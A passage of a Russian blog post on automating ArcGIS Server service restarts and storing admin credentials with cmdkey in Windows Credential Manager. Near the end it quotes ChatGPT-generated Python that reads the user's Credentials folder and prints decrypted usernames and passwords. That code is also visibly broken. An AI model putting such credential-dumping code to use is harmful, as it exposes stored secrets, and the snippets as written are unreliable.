\u0431\u043e\u043b\u0435\u0435 \u0447\u0435\u043c 10-\u043b\u0435\u0442\u043d\u0435\u0439 \u0434\u0430\u0432\u043d\u043e\u0441\u0442\u0438. \u041d\u043e \u044d\u0442\u043e \u0438 \u043d\u0435 \u0442\u0430\u043a \u0441\u0442\u0440\u0430\u0448\u043d\u043e, \u0442. \u043a. \u0441\u0430\u043c ArcGIS Server \u043f\u0440\u0438\u043c\u0435\u0440\u043d\u043e \u0438\u0437 \u0442\u0435\u0445 \u0436\u0435 \u0432\u0440\u0435\u043c\u0451\u043d.<\/p>\n<p>\u0421\u0430\u043c\u044b\u043c \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u043c \u0438 \u0447\u0430\u0441\u0442\u043e \u0443\u043f\u043e\u043c\u0438\u043d\u0430\u0435\u043c\u044b\u043c \u0440\u0435\u0448\u0435\u043d\u0438\u0435\u043c \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u0443\u0442\u0438\u043b\u0438\u0442\u0430, \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u043d\u0430\u044f \u0441\u043e\u0442\u0440\u0443\u0434\u043d\u0438\u043a\u043e\u043c ESRI Boston \u043d\u0430 .NET: <u>AGSSOM.exe<\/u><\/p>\n<p>\u041e\u0431\u0440\u0430\u0449\u0430\u0442\u044c\u0441\u044f \u043a \u0443\u0442\u0438\u043b\u0438\u0442\u0435 \u044f \u043f\u043b\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043b \u043f\u0440\u0438 \u043f\u043e\u043c\u043e\u0449\u0438 Python, \u043a\u0430\u043a \u044d\u0442\u043e \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u043b\u0438 \u043f\u043e \u0441\u0441\u044b\u043b\u043a\u0430\u043c \u0432\u044b\u0448\u0435, \u043d\u0430 <a href=\"https:\/\/gis.stackexchange.com\/questions\/17639\/starting-and-stopping-arcgis-server-map-services-using-python\"><u>gis.stackexchange<\/u><\/a>. \u0421\u0430\u043c \u0437\u0430\u043f\u0440\u043e\u0441 \u043d\u0430 Python \u043a AGSSOM.exe:<\/p>\n<details class=\"spoiler\">\n<summary>\u041f\u0440\u0438\u043c\u0435\u0440 \u0442\u0443\u0442:<\/summary>\n<div class=\"spoiler__content\">\n<pre><code class=\"python\">import os, subprocess #Get list of currently running map services stream = os.popen('D:\\\\GIS\\\\Admin\\\\AGSSOMv10.0\\\\AGSSOM.exe -list') mapservices = stream.readlines() lstStarted = [] for item in mapservices:     itemSplit = item.split(',')     if len(itemSplit) > 1:         if itemSplit[1].find(\"Started.\") > -1:             lstStarted.append(itemSplit[0]) #Shutdown all map services subprocess.call(['D:\\\\GIS\\\\Admin\\\\AGSSOMv10.0\\\\AGSSOM.exe', '-x', '*all*']) ##...Perform geodatabase tasks here #Restart previously running map services for mapservice in lstStarted:     subprocess.call(['D:\\\\GIS\\\\Admin\\\\AGSSOMv10.0\\\\AGSSOM.exe', '-s', mapservice])<\/code><\/pre>\n<\/p>\n<\/div>\n<\/details>\n<p>\u041d\u0430\u0445\u043e\u0436\u0443 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0439 \u0443\u0442\u0438\u043b\u0438\u0442\u044b:<a href=\"https:\/\/github.com\/sam-berg\/AGSSOM?ysclid=lo7a37way5979290105\"> <u>GitHub &#8212; sam-berg\/AGSSOM: AGSSOM.exe is a sample command line utility for starting, stopping, and restarting ArcGIS Server services,<\/u><\/a><em><u>\u2026\u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043d\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u044f\u043b\u0441\u044f 9 \u043b\u0435\u0442\u2026.<\/u><\/em>:<\/p>\n<figure class=\"full-width\"><\/figure>\n<p>\u041a\u043e\u0434 \u0438\u0437 Program.cs \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442\u044c \u0442\u0443\u0442 \u043d\u0435 \u0431\u0443\u0434\u0443, \u0441\u043b\u0438\u0448\u043a\u043e\u043c \u0434\u043b\u0438\u043d\u043d\u044b\u0439 \u043f\u043e\u0441\u0442.<\/p>\n<p>\u0413\u043e\u0442\u043e\u0432\u043e\u0433\u043e .exe-\u0444\u0430\u0439\u043b\u0430 \u043d\u0435\u0442, \u043d\u0443\u0436\u043d\u043e \u0441\u043e\u0431\u0438\u0440\u0430\u0442\u044c \u043f\u0440\u043e\u0435\u043a\u0442 \u0438 \u0440\u0435\u0448\u0435\u043d\u0438\u0435.<\/p>\n<p>\u0421\u0442\u0430\u0432\u043b\u044e Visual Studio:<\/p>\n<figure class=\"full-width\"><\/figure>\n<p>\u041f\u0440\u043e\u0431\u0443\u044e \u0441\u043e\u0431\u0440\u0430\u0442\u044c \u043f\u0440\u043e\u0435\u043a\u0442 \u043a\u043e\u043d\u0441\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u043d\u0430 Net Framework 4.8:<\/p>\n<figure class=\"full-width\"><\/figure>\n<p>\u0414\u043e\u0431\u0430\u0432\u043b\u044f\u044e \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u043f\u0440\u043e\u0435\u043a\u0442:<\/p>\n<p><em>System.Runtime.Serialization.Json<\/em><\/p>\n<p><em>System.Text.Json<\/em><\/p>\n<p>\u041a\u043e\u043c\u043f\u0438\u043b\u044f\u0442\u043e\u0440 \u0431\u043e\u043b\u044c\u0448\u0435 \u043d\u0435 \u0440\u0443\u0433\u0430\u0435\u0442\u0441\u044f \u043d\u0430 \u043e\u0448\u0438\u0431\u043a\u0438, \u0441\u043e\u0431\u0438\u0440\u0430\u044e \u043f\u0440\u043e\u0435\u043a\u0442:<\/p>\n<figure class=\"full-width\"><\/figure>\n<p>\u0417\u0430\u043f\u0443\u0441\u043a\u0430\u044e \u0441\u043a\u0440\u0438\u043f\u0442. \u0414\u043b\u044f \u043d\u0430\u0447\u0430\u043b\u0430, \u0447\u0442\u043e\u0431\u044b \u0443\u0432\u0438\u0434\u0435\u0442\u044c \u043b\u0438\u0441\u0442 \u0441\u0435\u0440\u0432\u0438\u0441\u043e\u0432 ArcGIS. \u0418 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u0443\u0434\u0440\u0443\u0447\u0430\u0435\u0442\u2026:  <\/p>\n<figure class=\"full-width\"><\/figure>\n<p>\u0412\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u0442\u0441\u044f \u043f\u0443\u0441\u0442\u043e\u0439 \u0441\u043f\u0438\u0441\u043e\u043a. \u0421\u043a\u043e\u0440\u0435\u0435 \u0432\u0441\u0435\u0433\u043e, \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u0432 \u0441\u0430\u043c\u043e\u043c AGSSOM, \u043d\u043e \u0442\u0430\u043a \u043a\u0430\u043a \u044f \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d \u0432\u043e \u0432\u0440\u0435\u043c\u0435\u043d\u0438, \u0443 \u043c\u0435\u043d\u044f \u043d\u0435\u0442 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u043f\u043e\u0433\u0440\u0443\u0437\u0438\u0442\u044c\u0441\u044f \u0432 \u043a\u043e\u0434 \u0438 \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442\u044c \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u0432 \u0440\u0430\u0431\u043e\u0447\u0435\u0435 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435.<\/p>\n<h4>\u0427\u0430\u0441\u0442\u044c 2. \u0415\u0434\u0435\u043c \u0434\u0430\u043b\u044c\u0448\u0435<\/h4>\n<p>\u041d\u0430\u0445\u043e\u0436\u0443 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u043e \u0442\u043e\u043c, \u0447\u0442\u043e \u043f\u0440\u0438 \u043f\u043e\u043c\u043e\u0449\u0438 <a href=\"https:\/\/support.esri.com\/en-us\/knowledge-base\/how-to-stop-gis-services-using-arcgis-api-for-python-000019994\"><u>\u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438 <\/u><strong><u>Arcgis <\/u><\/strong><u>\u0434\u043b\u044f Python<\/u><\/a> \u043c\u043e\u0436\u043d\u043e \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u044c (<em>\u043f\u0440\u0438 \u043d\u0430\u043b\u0438\u0447\u0438\u0438 \u043f\u0440\u0430\u0432 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u0443\u0440\u043e\u0432\u043d\u044f \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440<\/em>)\u00a0 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0441\u0435\u0440\u0432\u0438\u0441\u0430\u043c\u0438 ArcGIS, \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0442\u044c \u0438\u0445 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0443\u0441\u043a \u043f\u0440\u0438 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u0438.<\/p>\n<p>\u0421\u0440\u0430\u0437\u0443 \u043f\u043e\u044f\u0432\u0438\u043b\u0438\u0441\u044c \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0432\u043e\u043f\u0440\u043e\u0441\u043e\u0432:<\/p>\n<ol>\n<li>\n<p>\u041a\u0430\u043a \u043f\u0435\u0440\u0435\u0434\u0430\u0432\u0430\u0442\u044c \u043f\u0440\u0438 \u0430\u0432\u0442\u043e\u043d\u043e\u043c\u043d\u043e\u043c \u0437\u0430\u043f\u0443\u0441\u043a\u0435 \u0443\u0442\u0438\u043b\u0438\u0442\u044b \u043b\u043e\u0433\u0438\u043d \u0438 \u043f\u0430\u0440\u043e\u043b\u044c \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430?<\/p>\n<\/li>\n<li>\n<p>\u041a\u0430\u043a \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435 \u043d\u0443\u0436\u043d\u044b\u0435 \u043c\u043d\u0435 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438 Python? \u0418\u043c\u0435\u044f \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u043f\u043e \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438 \u0440\u044f\u0434 \u043f\u0440\u043e\u0431\u043b\u0435\u043c, \u0440\u0435\u0448\u0430\u0442\u044c \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0443 \u043c\u0435\u043d\u044f \u0442\u0430\u043a\u0436\u0435 \u0432\u0440\u0435\u043c\u0435\u043d\u0438 \u043d\u0435\u0442.<\/p>\n<\/li>\n<\/ol>\n<p><strong>\u041d\u0430\u0447\u043d\u0451\u043c \u0441 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438 \u043b\u043e\u0433\u0438\u043d\u0430 \u0438 \u043f\u0430\u0440\u043e\u043b\u044f, \u0430 \u0442\u043e\u0447\u043d\u0435\u0435 \u2013 \u0441 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438.<\/strong><\/p>\n<p>\u0415\u0441\u0442\u044c \u043b\u043e\u0433\u0438\u043d \u0438 \u043f\u0430\u0440\u043e\u043b\u044c \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 ArcGIS Server, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043d\u0443\u0436\u043d\u043e \u043f\u043e\u0434\u0430\u0432\u0430\u0442\u044c \u0441\u0435\u0440\u0432\u0435\u0440\u0443, \u0447\u0442\u043e\u0431\u044b \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0438\u043c \u0441\u0435\u0440\u0432\u0438\u0441\u0430\u043c ArcGIS.<\/p>\n<p>\u0420\u0430\u0431\u043e\u0442\u0430\u044f \u0440\u0430\u043d\u0435\u0435 \u0441 RPA \u0432 \u04255 (<a href=\"https:\/\/habr.com\/ru\/specials\/736058\/\"><u>Robotic Process Automation<\/u><\/a>), \u044f \u0441\u043b\u044b\u0448\u0430\u043b \u043e\u0442 \u043a\u043e\u043b\u043b\u0435\u0433 \u043e \u0445\u0440\u0430\u043d\u0435\u043d\u0438\u0438 \u0443\u0447\u0451\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0432 Credential.<\/p>\n<p>\u0418\u0434\u0443 \u0438\u0441\u043a\u0430\u0442\u044c \u0438 \u043d\u0430\u0445\u043e\u0436\u0443 \u0441\u0442\u0430\u0442\u044c\u044e:<a href=\"https:\/\/habr.com\/ru\/articles\/435652\/\"> <u>\u041a\u0430\u043a \u043d\u0435 \u043f\u0440\u043e\u0434\u043e\u043b\u0431\u0430\u0442\u044c \u043f\u0430\u0440\u043e\u043b\u0438 \u0432 Python \u0441\u043a\u0440\u0438\u043f\u0442\u0430\u0445.<\/u><\/a><\/p>\n<p>\u041c\u043e\u0451 \u043f\u043e\u0447\u0442\u0435\u043d\u0438\u0435 \u0430\u0432\u0442\u043e\u0440\u0443: \u043a\u0440\u0430\u0442\u043a\u043e, \u0451\u043c\u043a\u043e \u0438 \u0447\u0451\u0442\u043a\u043e \u043f\u043e\u0433\u0440\u0443\u0437\u0438\u043b \u0432 \u0442\u0435\u043c\u0443.<\/p>\n<p><strong>\u0418\u0442\u0430\u043a, \u043f\u0440\u0438\u0432\u0435\u0442 Windows Credential Locker.<\/strong><\/p>\n<p>\u041f\u044b\u0442\u0430\u044f\u0441\u044c \u0441\u044d\u043a\u043e\u043d\u043e\u043c\u0438\u0442\u044c \u0432\u0440\u0435\u043c\u044f, \u043f\u0438\u0448\u0443 \u0437\u0430\u043f\u0440\u043e\u0441 \u043a ChatGPT \u0438 \u043f\u043e\u043b\u0443\u0447\u0430\u044e \u043e\u0442\u0432\u0435\u0442:<\/p>\n<details class=\"spoiler\">\n<summary>\u041f\u0440\u0438\u043c\u0435\u0440 \u0442\u0443\u0442:<\/summary>\n<div class=\"spoiler__content\">\n<pre><code class=\"powershell\">Install-Module -Name CredentialManager # \u0418\u043c\u043f\u043e\u0440\u0442\u0438\u0440\u0443\u0435\u043c \u043c\u043e\u0434\u0443\u043b\u044c Import-Module -Name CredentialManager # \u0421\u043e\u0437\u0434\u0430\u0435\u043c \u043d\u043e\u0432\u044b\u0435 \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 $credential = New-Object System.Management.Automation.PSCredential -ArgumentList \"Username\", (\"Password\" | ConvertTo-SecureString -AsPlainText -Force) # \u0421\u043e\u0445\u0440\u0430\u043d\u044f\u0435\u043c \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0432 Credential Manager New-StoredCredential -Target \"TargetName\" -Credential $credential -Persist LocalMachine<\/code><\/pre>\n<\/p>\n<\/div>\n<\/details>\n<p>\u0412\u044b\u043f\u043e\u043b\u043d\u044f\u044e \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438, \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u044e \u0438 \u043f\u043e\u043b\u0443\u0447\u0430\u044e \u043e\u0442\u0432\u0435\u0442, \u0447\u0442\u043e \u0443 \u043c\u0435\u043d\u044f \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u043f\u0440\u0430\u0432 \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u0435\u0434\u043b\u043e\u0436\u0435\u043d\u043d\u044b\u0445 \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 \u0432 Powershell.<\/p>\n<p><em>\u0422\u0443\u0442 \u0441\u043b\u0435\u0434\u0443\u0435\u0442 \u043e\u0442\u043c\u0435\u0442\u0438\u0442\u044c, \u0447\u0442\u043e \u0435\u0449\u0451 \u043d\u0430 \u0437\u0430\u0440\u0435 \u0437\u043d\u0430\u043a\u043e\u043c\u0441\u0442\u0432\u0430 \u0441 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u0430\u043c\u0438 \u0443 \u043c\u0435\u043d\u044f \u0441\u0440\u0430\u0437\u0443 \u043d\u0435 \u0441\u043b\u043e\u0436\u0438\u043b\u043e\u0441\u044c \u0441 PowerShell. \u041f\u043e\u043d\u0438\u043c\u0430\u044e, \u0447\u0442\u043e \u0434\u043b\u044f \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0430 \u201c\u043f\u043e\u0441\u0432\u044f\u0449\u0435\u043d\u043d\u043e\u0433\u043e\u201d \u043d\u0435\u0442 \u043d\u0438\u0447\u0435\u0433\u043e \u0441\u0442\u0440\u0430\u0448\u043d\u043e\u0433\u043e \u0432 \u043f\u043e\u0434\u043e\u0431\u043d\u044b\u0445 \u043e\u0448\u0438\u0431\u043a\u0430\u0445. <\/em><strong><em><u>\u041d\u043e \u0434\u043b\u044f \u043d\u043e\u0432\u0438\u0447\u043a\u0430<\/u><\/em><\/strong><em>, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u0440\u0438\u0448\u0451\u043b \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u0437\u0430\u0434\u0430\u0447\u0443, \u043d\u0435 \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u0443\u044e \u043d\u0430\u043f\u0440\u044f\u043c\u0443\u044e \u0441 PowerShell, \u0441\u0438\u043d\u0442\u0430\u043a\u0441\u0438\u0441, \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044f \u043e\u0431 \u043e\u0448\u0438\u0431\u043a\u0430\u0445 \u0438 \u0432\u0441\u0435\u0432\u043e\u0437\u043c\u043e\u0436\u043d\u044b\u0435 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f, \u043d\u0430\u0432\u0435\u0448\u0430\u043d\u043d\u044b\u0435 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0435\u0439 \u043d\u0430 \u0440\u0430\u0431\u043e\u0447\u0438\u0439 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440, \u043f\u0440\u0435\u0432\u0440\u0430\u0449\u0430\u044e\u0442 PowerShell \u0432 \u0444\u0438\u043b\u0438\u0430\u043b \u043c\u0435\u0441\u0442\u043d\u043e\u0433\u043e \u0430\u0434\u0430 \u0441 \u043f\u0435\u0440\u0441\u043e\u043d\u0430\u043b\u044c\u043d\u044b\u043c\u0438 \u043f\u044b\u0442\u043a\u0430\u043c\u0438 \u043c\u0435\u043d\u0442\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0445\u0430\u0440\u0430\u043a\u0442\u0435\u0440\u0430.<\/em><\/p>\n<p>\u041f\u043e\u0433\u0440\u0443\u0436\u0430\u044e\u0441\u044c, \u043a\u0430\u043a \u0443\u0436\u0435 \u043f\u0440\u0438\u0432\u044b\u043a \u0437\u0430 \u0433\u043e\u0434\u044b \u0440\u0430\u0431\u043e\u0442\u044b \u0432 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0435, \u0432 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0443 \u0438 \u043f\u044b\u0442\u0430\u044e\u0441\u044c \u0440\u0435\u0448\u0438\u0442\u044c \u0435\u0451. \u041d\u0435 \u0445\u0432\u0430\u0442\u0430\u0435\u0442 \u0437\u043d\u0430\u043d\u0438\u0439 \u043d\u0430 \u044d\u043a\u0432\u0430\u0442\u043e\u0440\u0435 \u0440\u0435\u0448\u0435\u043d\u0438\u044f? \u041d\u0430\u0447\u0438\u043d\u0430\u044e \u043f\u043e\u0433\u0440\u0443\u0436\u0435\u043d\u0438\u0435 \u0432 PowerShell, Windows Credential, Active Directory\u2026\u0438 \u043d\u0435 \u0437\u0430\u043c\u0435\u0447\u0430\u044e, \u043a\u0430\u043a \u043c\u0435\u0436\u0434\u0443 \u0435\u0436\u0435\u0434\u043d\u0435\u0432\u043d\u044b\u043c\u0438 \u0440\u0430\u0431\u043e\u0447\u0438\u043c\u0438 \u043e\u0431\u044f\u0437\u0430\u043d\u043d\u043e\u0441\u0442\u044f\u043c\u0438 \u043a\u043e\u043d\u0441\u0443\u043b\u044c\u0442\u0430\u043d\u0442\u0430 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0438 \u0438 \u043f\u043e\u043f\u044b\u0442\u043a\u0430\u043c\u0438 \u0440\u0435\u0448\u0438\u0442\u044c \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0443 \u0441 \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u0438\u0435\u043c \u0442\u0435\u0441\u0442\u043e\u0432\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u043f\u0440\u0438 \u043f\u043e\u043c\u043e\u0449\u0438 PowerShell \u043f\u0440\u043e\u0448\u043b\u043e \u0443\u0436\u0435 \u0447\u0443\u0442\u044c \u0431\u043e\u043b\u0435\u0435 \u0442\u0440\u0451\u0445 \u0434\u043d\u0435\u0439\u2026\u0421\u0442\u043e\u043f! \u042f \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0451\u043d\u043d\u043e \u201c\u0434\u0443\u043c\u0430\u044e\u201d \u043d\u0435 \u0432 \u0442\u0443 \u0441\u0442\u043e\u0440\u043e\u043d\u0443.<\/p>\n<p><strong>\u0421\u043c\u043e\u0442\u0440\u044e \u043d\u0430 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0443 \u043f\u043e\u0434 \u0434\u0440\u0443\u0433\u0438\u043c \u0443\u0433\u043b\u043e\u043c<\/strong><\/p>\n<p>\u041f\u0440\u0438\u0432\u0435\u0442, Windows Prompt (CMD, \u043a\u043e\u043d\u0441\u043e\u043b\u044c), \u043a\u043e\u0442\u043e\u0440\u0443\u044e Microsoft \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u043f\u044b\u0442\u0430\u0435\u0442\u0441\u044f \u0437\u0430\u043c\u0435\u043d\u0438\u0442\u044c \u043d\u0430 PowerShell, \u043d\u043e \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442\u0441\u044f \u044d\u0442\u043e, \u043f\u043e \u043c\u043e\u0435\u043c\u0443 \u0441\u043a\u0440\u043e\u043c\u043d\u043e\u043c\u0443 \u043c\u043d\u0435\u043d\u0438\u044e, \u043f\u043e\u043a\u0430 \u043d\u0435 \u043e\u0447\u0435\u043d\u044c (\u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e \u0441 \u0443\u0447\u0451\u0442\u043e\u043c \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u0432 Powershell cmd.exe).<\/p>\n<p>\u0413\u0443\u0433\u043b\u044e \u0438 \u043d\u0430\u0445\u043e\u0436\u0443 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u043e <a href=\"https:\/\/learn.microsoft.com\/ru-ru\/windows-server\/administration\/windows-commands\/cmdkey\"><u>cdmkey.<\/u><\/a><\/p>\n<p>\u0414\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u043d\u043e\u0432\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u0432 \u0444\u043e\u0440\u043c\u0430\u0442\u0435:<\/p>\n<pre><code class=\"powershell\">cmdkey \/add:&lt;\u0438\u043c\u044f \u0437\u0430\u043f\u0438\u0441\u0438> \/user:&lt;\u043b\u043e\u0433\u0438\u043d> \/pass:&lt;\u043f\u0430\u0440\u043e\u043b\u044c><\/code><\/pre>\n<p>\u0418, \u043e \u0447\u0443\u0434\u043e, \u044d\u0442\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0431\u0435\u0437 \u043f\u0440\u043e\u0431\u043b\u0435\u043c:<\/p>\n<figure class=\"full-width\"><\/figure>\n<p>\u041f\u0440\u043e\u0432\u0435\u0440\u044f\u044e Credential Manager:<\/p>\n<figure class=\"full-width\"><\/figure>\n<p><strong>\u041f\u0440\u043e\u0431\u0443\u044e \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0443\u0447\u0451\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0441\u043a\u0440\u0438\u043f\u0442\u043e\u043c.<\/strong><\/p>\n<details class=\"spoiler\">\n<summary>\u0418\u0434\u0443 \u0432 ChatGPT:<\/summary>\n<div class=\"spoiler__content\">\n<pre><code class=\"python\">import getpass import win32crypt  username = getpass.getuser() path = r\"C:\\\\Users\\\\{}\\\\AppData\\\\Roaming\\\\Microsoft\\\\Credentials\\\\\".format(username) if sys.platform.startswith(\"win\"):     path = path + \"\/\"  try:     with open(path, \"r\") as f:         content = f.read().splitlines()         for line in content:             if line.startswith(\"username=\"):                 username = line.replace(\"username=\", \"\").strip()             elif line.startswith(\"password=\"):                 password = win32crypt.CryptUnprotectData(bytes.fromhex(line.replace(\"password=\", \"\").strip()), None)                 print(f\"{username}:{password}\") except FileNotFoundError:     print(\"No credentials found for this user.\")<\/code><\/pre>\n<p><em>\u0421\u0442\u0440\u0430\u043d\u043d\u044b\u0439 \u0432\u0430\u0440\u0438\u0430\u043d\u0442, \u043a\u0443\u0434\u0430-\u0442\u043e \u043f\u0440\u043e\u043f\u0430\u043b import sys \u0432 \u043d\u0430\u0447\u0430\u043b\u0435\u2026<\/em>  <\/p>\n<\/div>\n<\/details>\n<p>\u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u043f\u0440\u0438\u0432\u0435\u0434\u0435\u043d\u0438\u044f \u043a \u0440\u0430\u0431\u043e\u0447\u0435\u043c\u0443 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u044e \u0438 \u0437\u0430\u043f\u0443\u0441\u043a \u043f\u043e\u0434 \u0430\u0434\u043c\u0438\u043d\u0441\u043a\u0438\u043c\u0438 \u043f\u0440\u0430\u0432\u0430\u043c\u0438:<\/p>\n<figure class=\"full-width\"><\/figure>\n<details class=\"spoiler\">\n<summary>\u041f\u0440\u043e\u0431\u0443\u044e \u0430\u043b\u044c\u0442\u0435\u0440\u043d\u0430\u0442\u0438\u0432\u043d\u044b\u0439 \u0432\u0430\u0440\u0438\u0430\u043d\u0442:<\/summary>\n<div class=\"spoiler__content\">\n<pre><code class=\"python\">import os  # \u041f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u0435 \u043f\u0443\u0442\u0438 \u043a \u0444\u0430\u0439\u043b\u0443 Credential Manager credentials_path = r'C:\\\\Users\\\\Default\\\\AppData\\\\Roaming\\\\Microsoft\\\\Credentials'  # \u041f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u0435 \u0441\u043f\u0438\u0441\u043a\u0430 \u0432\u0441\u0435\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u0432 \u0444\u0430\u0439\u043b\u0435 Credential Manager credentials = [] with open(credentials_path, 'r') as f:     for line in f:         data = json.loads(line)         if 'username' in data and 'password' in data:             credentials.append(data)  # \u041f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u0435 \u043b\u043e\u0433\u0438\u043d\u0430 \u0438 \u043f\u0430\u0440\u043e\u043b\u044f \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f username = input(\"\u0412\u0432\u0435\u0434\u0438\u0442\u0435 \u0438\u043c\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f: \") for user in credentials:     if user['username'] == username:         print(\"\u041b\u043e\u0433\u0438\u043d:\", user['username'])         print(\"\u041f\u0430\u0440\u043e\u043b\u044c:\", user['password'])         break else:     print(\"\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\")<\/code><\/pre>\n<\/p>\n<\/div>\n<\/details>\n<p>\u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442:<\/p>\n<figure 